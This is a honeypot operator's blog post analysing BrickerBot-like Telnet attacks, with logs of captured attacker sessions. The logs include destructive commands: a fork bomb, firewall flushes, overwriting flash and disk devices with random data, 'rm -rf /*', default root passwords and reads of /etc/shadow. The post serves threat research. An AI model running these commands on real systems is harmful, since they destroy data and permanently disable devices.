Is Brickerbot Going Soft Already?
A couple nights ago, I had some really strange traffic on my Telnet honeypot (shameless plug: https://github.com/h-m-s). Like, really strange. I haven’t had much time to look into it, but seeing this article from Radware made me realize I should probably put the info out there, seeing as how I have seen activity not noted in any other article online.
Starting at 2017–04–02 04:14:45,579 UTC, I started getting a lot of traffic that looked a little something like this:
2017–04–02 06:02:02,836 — RECEIVED INPUT 94.136.142.100 : [‘root’]
2017–04–02 06:02:03,126 — RECEIVED INPUT 94.136.142.100 : [‘root’]
2017–04–02 06:02:03,126–94.136.142.100:42767 logged in as root-root
2017–04–02 06:02:03,427 — RECEIVED INPUT 94.136.142.100 : [‘w’]
2017–04–02 06:02:03,686 — RECEIVED INPUT 94.136.142.100 : [‘cat /proc/version’]
2017–04–02 06:02:03,946 — RECEIVED INPUT 94.136.142.100 : [‘cat /etc/shadow’]
2017–04–02 06:02:04,352 — RECEIVED INPUT 94.136.142.100 : [‘cat /etc/passwd’]
2017–04–02 06:02:04,625 — RECEIVED INPUT 94.136.142.100 : [‘ls -alF /etc/’]
2017–04–02 06:02:05,050 — RECEIVED INPUT 94.136.142.100 : [‘uname -a’]
2017–04–02 06:02:05,445 — RECEIVED INPUT 94.136.142.100 : [‘su root’]
2017–04–02 06:05:42,218 — RECEIVED INPUT 94.136.142.100 : [‘d(){ d|d & };d 2>/dev/null’]
A forkbomb! My honeypot runs Docker containers which CAN be susceptible to forkbombs, but fortunately, functions don’t actually really work in my honeypot so the input wasn’t sent to the container as a forkbomb. Needless to say however, I was a little confused.
At 2017–04–02 07:26:20, I also caught:
2017–04–02 05:54:41,310 — RECEIVED INPUT 149.91.98.71 : [‘reboot’]
2017–04–02 06:02:02,834 — RECEIVED INPUT 149.91.98.71 : [‘root’]
2017–04–02 06:02:03,048 — RECEIVED INPUT 149.91.98.71 : [‘root’]
2017–04–02 06:02:03,319 — RECEIVED INPUT 149.91.98.71 : [‘w’]
2017–04–02 06:02:03,594 — RECEIVED INPUT 149.91.98.71 : [‘cat /proc/version’]
2017–04–02 06:02:03,826 — RECEIVED INPUT 149.91.98.71 : [‘cat /etc/shadow’]
2017–04–02 06:02:04,166 — RECEIVED INPUT 149.91.98.71 : [‘cat /etc/passwd’]
2017–04–02 06:02:04,601 — RECEIVED INPUT 149.91.98.71 : [‘ls -alF /etc/’]
2017–04–02 06:02:04,973 — RECEIVED INPUT 149.91.98.71 : [‘uname -a’]
2017–04–02 06:02:05,337 — RECEIVED INPUT 149.91.98.71 : [‘su root’]
2017–04–02 06:05:41,717 — RECEIVED INPUT 149.91.98.71 : [‘d(){ d|d & };d 2>/dev/null’]
2017–04–02 06:05:41,942 — RECEIVED INPUT 149.91.98.71 : [‘iptables -F;iptables -t nat -F;iptables -A OUTPUT -j DROP’]
With the added iptable drop.
However, we’re not quite done. At 07:26:20,561:
2017–04–02 07:26:20,561 RECEIVED INPUT 81.25.58.161 : [‘root’]
2017–04–02 07:26:20,824 RECEIVED INPUT 81.25.58.161 : [‘root’]
2017–04–02 07:26:21,096 RECEIVED INPUT 81.25.58.161 : [‘w’]
2017–04–02 07:26:21,148 RECEIVED INPUT 81.25.58.161 : [‘cat /etc/passwd’]
2017–04–02 07:26:21,199 RECEIVED INPUT 81.25.58.161 : [‘cat /proc/version’]
2017–04–02 07:26:21,244 RECEIVED INPUT 81.25.58.161 : [‘cat /etc/shadow’]
2017–04–02 07:26:21,289 RECEIVED INPUT 81.25.58.161 : [‘ls -alF /etc/’]
2017–04–02 07:26:21,334 RECEIVED INPUT 81.25.58.161 : [‘uname -a’]
2017–04–02 07:26:21,765 RECEIVED INPUT 81.25.58.161 : [‘su root’]
2017–04–02 07:26:27,205 RECEIVED INPUT 81.25.58.161 : [‘dd if=/dev/urandom of=/dev/mtdblock7 &’]
2017–04–02 07:26:27,212 RECEIVED INPUT 81.25.58.161 : [‘dd if=/dev/urandom of=/dev/mtdblock6 &’]
2017–04–02 07:26:27,219 RECEIVED INPUT 81.25.58.161 : [‘dd if=/dev/urandom of=/dev/mtdblock5 &’]
2017–04–02 07:26:27,226 RECEIVED INPUT 81.25.58.161 : [‘dd if=/dev/urandom of=/dev/mtdblock4 &’]
2017–04–02 07:26:27,233 RECEIVED INPUT 81.25.58.161 : [‘dd if=/dev/urandom of=/dev/mtdblock3 &’]
2017–04–02 07:26:27,238 RECEIVED INPUT 81.25.58.161 : [‘dd if=/dev/urandom of=/dev/mtdblock2 &’]
2017–04–02 07:26:27,243 RECEIVED INPUT 81.25.58.161 : [‘dd if=/dev/urandom of=/dev/mtdblock1 &’]
2017–04–02 07:26:27,248 RECEIVED INPUT 81.25.58.161 : [‘dd if=/dev/urandom of=/dev/mtdblock0 &’]
2017–04–02 07:26:27,257 RECEIVED INPUT 81.25.58.161 : [‘dd if=/dev/urandom of=/dev/mtd3 &’]
Now we’re skipping the forkbomb, going right to running dd to eat up resources. Beautiful! Luckily, my honeypot only expects Hajime to use dd, and scripts the response, so it just returns an ELF header.
But this is where my experiences from the article differs a bit. I’ve been getting steady traffic like the following:
2017–04–02 06:16:55,462 — Opened connection to 85.248.227.163:56484
2017–04–02 06:16:55,667 — Lost connection to 85.248.227.163:56484
2017–04–02 06:16:56,960 — Opened connection to 85.248.227.163:58542
2017–04–02 06:16:57,618 — RECEIVED INPUT 85.248.227.163 : [‘root’]
2017–04–02 06:16:58,480 — RECEIVED INPUT 85.248.227.163 : [‘root’]
2017–04–02 06:16:58,480–85.248.227.163:58542 logged in as root-root
2017–04–02 06:16:59,266 — RECEIVED INPUT 85.248.227.163 : [‘w’]
2017–04–02 06:16:59,922 — RECEIVED INPUT 85.248.227.163 : [‘uname -a’]
2017–04–02 06:17:04,855 — RECEIVED INPUT 85.248.227.163 : [‘uptime’]
2017–04–02 06:17:05,752 — RECEIVED INPUT 85.248.227.163 : [‘crontab -l’]
2017–04–02 06:17:06,476 — RECEIVED INPUT 85.248.227.163 : [‘crontab -r’]
2017–04–02 06:17:07,418 — RECEIVED INPUT 85.248.227.163 : [‘passwd’]
2017–04–02 06:20:03,602 — Lost connection to 85.248.227.163:58542
2017–04–02 06:20:03,689 — RECEIVED INPUT 85.248.227.163 : [‘ps aux | grep -v “ps aux” | grep -v “grep” | grep -v “awk” | grep -v “xargs” | awk \’{print $2}\’ | xargs kill -9']
2017–04–02 06:20:03,773 — RECEIVED INPUT 85.248.227.163 : [‘reboot’]
If you’re wondering why commands were ran AFTER the client disconnected, that’s because the passwd command hung up in the honeypot (fixed now!). The xargs part seems to be new, or at least not mentioned in the article. This came from 9 separate IPs in the same day, starting around 04:44 and ending (this exact traffic, anyways) around 07:56.
And then a couple hours later, the return, but a little different:
2017–04–02 08:43:11,424 — Opened connection to 85.248.227.163:51538
2017–04–02 08:43:11,913 — RECEIVED INPUT 85.248.227.163 : [‘root’]
2017–04–02 08:43:12,273 — RECEIVED INPUT 85.248.227.163 : [‘vizxv’]
2017–04–02 08:43:12,274–85.248.227.163:51538 logged in as root-vizxv
2017–04–02 08:43:12,599 — RECEIVED INPUT 85.248.227.163 : [‘w’]
2017–04–02 08:43:16,984 — RECEIVED INPUT 85.248.227.163 : [‘fdisk -l’]
2017–04–02 08:43:17,370 — RECEIVED INPUT 85.248.227.163 : [‘ps w | grep telnet’]
2017–04–02 08:43:17,889 — RECEIVED INPUT 85.248.227.163 : [‘fdisk -C 1 -H 1 -S 1 /dev/mtd0’]
2017–04–02 08:43:53,349 — RECEIVED INPUT 85.248.227.163 : [‘w’]
2017–04–02 08:43:53,736 — RECEIVED INPUT 85.248.227.163 : [‘fdisk -C 1 -H 1 -S 1 /dev/mtd1’]
2017–04–02 08:44:29,136 — RECEIVED INPUT 85.248.227.163 : [‘w’]
2017–04–02 08:44:29,734 — RECEIVED INPUT 85.248.227.163 : [‘fdisk -C 1 -H 1 -S 1 /dev/sda’]
2017–04–02 08:45:05,117 — RECEIVED INPUT 85.248.227.163 : [‘w’]
2017–04–02 08:45:05,512 — RECEIVED INPUT 85.248.227.163 : [‘fdisk -C 1 -H 1 -S 1 /dev/mtdblock0’]
2017–04–02 08:45:40,922 — RECEIVED INPUT 85.248.227.163 : [‘w’]
2017–04–02 08:45:41,335 — RECEIVED INPUT 85.248.227.163 : [‘busybox cat /dev/urandom >/dev/mtdblock0 &’]
2017–04–02 08:45:41,710 — RECEIVED INPUT 85.248.227.163 : [‘busybox cat /dev/urandom >/dev/sda &’]
2017–04–02 08:45:42,046 — RECEIVED INPUT 85.248.227.163 : [‘busybox cat /dev/urandom >/dev/mtdblock10 &’]
2017–04–02 08:45:42,375 — RECEIVED INPUT 85.248.227.163 : [‘busybox cat /dev/urandom >/dev/mmc0 &’]
2017–04–02 08:45:42,756 — RECEIVED INPUT 85.248.227.163 : [‘busybox cat /dev/urandom >/dev/sdb &’]
2017–04–02 08:45:43,096 — RECEIVED INPUT 85.248.227.163 : [‘busybox cat /dev/urandom >/dev/ram0 &’]
2017–04–02 08:45:43,438 — RECEIVED INPUT 85.248.227.163 : [‘route del default;iproute del default;ip route del default;rm -rf /* 2>/dev/null &’]
2017–04–02 08:46:19,166 — RECEIVED INPUT 85.248.227.163 : [‘sysctl -w net.ipv4.tcp_timestamps=0;sysctl -w kernel.threads-max=1’]
2017–04–02 08:46:54,759 — RECEIVED INPUT 85.248.227.163 : [‘halt -n -f’]
2017–04–02 08:46:55,137 — RECEIVED INPUT 85.248.227.163 : [‘reboot’]
2017–04–02 08:46:55,539 — Lost connection to 85.248.227.163:51538
The commands are all seen in the article, and I’d be curious to compare timestamps to other attacks because it almost looks like live traffic.
However, I haven’t the article version of BreakerBot return yet, but with passwd functionality in my honeypot fixed I have seen a lot of the following since:
2017–04–06 22:41:21,153 — RECEIVED INPUT 46.166.148.176 : [‘root’]
2017–04–06 22:41:21,464 — RECEIVED INPUT 46.166.148.176 : [‘root’]
2017–04–06 22:41:21,764 — RECEIVED INPUT 46.166.148.176 : [‘w’]
2017–04–06 22:41:22,123 — RECEIVED INPUT 46.166.148.176 : [‘uname -a’]
2017–04–06 22:41:26,168 — RECEIVED INPUT 46.166.148.176 : [‘uptime’]
2017–04–06 22:41:26,629 — RECEIVED INPUT 46.166.148.176 : [‘crontab -l’]
2017–04–06 22:41:27,301 — RECEIVED INPUT 46.166.148.176 : [‘crontab -r’]
2017–04–06 22:41:28,240 — RECEIVED INPUT 46.166.148.176 : [‘passwd’]
2017–04–06 22:41:28,988 — RECEIVED INPUT 46.166.148.176 : [‘root’]
2017–04–06 22:41:29,511 — RECEIVED INPUT 46.166.148.176 : [‘kUD9cnjT’]
2017–04–06 22:41:29,885 — RECEIVED INPUT 46.166.148.176 : [‘kUD9cnjT’]
2017–04–06 22:41:30,521 — RECEIVED INPUT 46.166.148.176 : [‘reboot’]
This is identical to the Brickerbot traffic above, except without trying to kill all, and just going right for a reboot.
The bot attempts to delete any crontabs and confirms they’re deleted. Then it changes the system password to a seemingly randomly generated password, runs reboot and exits. I’ve yet to see a return attempt using the randomly generated password.
If not for the timing and the proof above of the traffic coming from the same IPs as the malicious attacks, I’d question if it’s the same bot. The question is, did the maker of Breakerbot decide to start locking down insecure consoles instead of trying to destroy them? Is this where we thank them? Probably not.
As I noted above, I haven’t seen a single instance where the bot actually returns after changing the passwd. Is could be changing passwords in a benevolent attempt to keep the device away from botnets, but I think it more possible that it an attempt to save the logins in a database for later use, perhaps in order to later create a botnet, without leaving malware or generating telltale network traffic in the meantime.
If you want to trade information or talk about this little botnet more, please feel free to contact me!
